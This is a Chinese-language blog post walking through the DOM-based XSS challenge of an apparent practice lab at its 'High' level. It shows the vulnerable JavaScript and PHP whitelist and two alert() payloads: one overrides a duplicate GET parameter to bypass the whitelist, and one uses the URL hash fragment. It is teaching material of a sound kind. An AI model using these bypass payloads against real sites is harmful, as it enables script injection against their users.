关于那些Web漏洞--XSS(DOM)

本文探讨了一个关于XSS(跨站脚本)漏洞的利用案例,详细解释了如何通过GET请求操纵页面元素,并利用URL编码技巧绕过后端白名单过滤。文中展示了两个payload,一个是利用多个同名参数覆盖,另一个是利用URL的hash部分,展示了攻击者如何注入并执行恶意JS代码。同时,文章也提醒了开发者注意URL编码在防御XSS攻击中的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

High

1、点击select,get方式将数据发回到当前页面。

审查元素:

2、"select"之后就重新请求这个页面,其中包含的js脚本和php脚本执行。

// js代码,这部分控制select模块
if (document.location.href.indexOf("default=") >= 0) {
	// 获取default键的值
	var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
	// 输出2个option选项
	document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
	document.write("<option value='' disabled='disabled'>----</option>");
}
    
// 再输出4个默认的option选项
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
				
# 后端php代码
<?php

# 检查default值是否接受
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # default值的白名单
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        # 如果default不是以上的值,重定向
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

3、js代码操作dom树,得到的模块:

4、一个payload:

?default=</option></select><script>alert(11)</script>&default=English

这里用到的小技巧是:如果GET型发送多个同名的键值对,那么后端$_GET只接受它们中的最后一个(覆盖)。这个payload就利用后一个default键值对绕过php的白名单。同时,前面一个default键值对被js代码获取,js获取到的default值是:

</option></select><script>alert(11)</script>&default=English

这部分替换decodeURI(lang)就成功注入js代码了。

5、另一个payload:

?default=English #<script>alert(/xss/)</script>

这个payload是利用url的hash部分("#“及”#“之后的部分),这样$_GET只接受到”#"前面的部分,而不会丢失js代码。

6、有一点要注意:输入的payload含有很多特殊字符,所以浏览器会对它们进行URL编码。而js代码中的decodeURI函数就是用来URL解码的,如果没有这个函数,那么payload还是URL编码的形式,无法成功被浏览器解析成js代码,也就无法攻击了。其实这也是最后的impossible级别采用的修复方法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值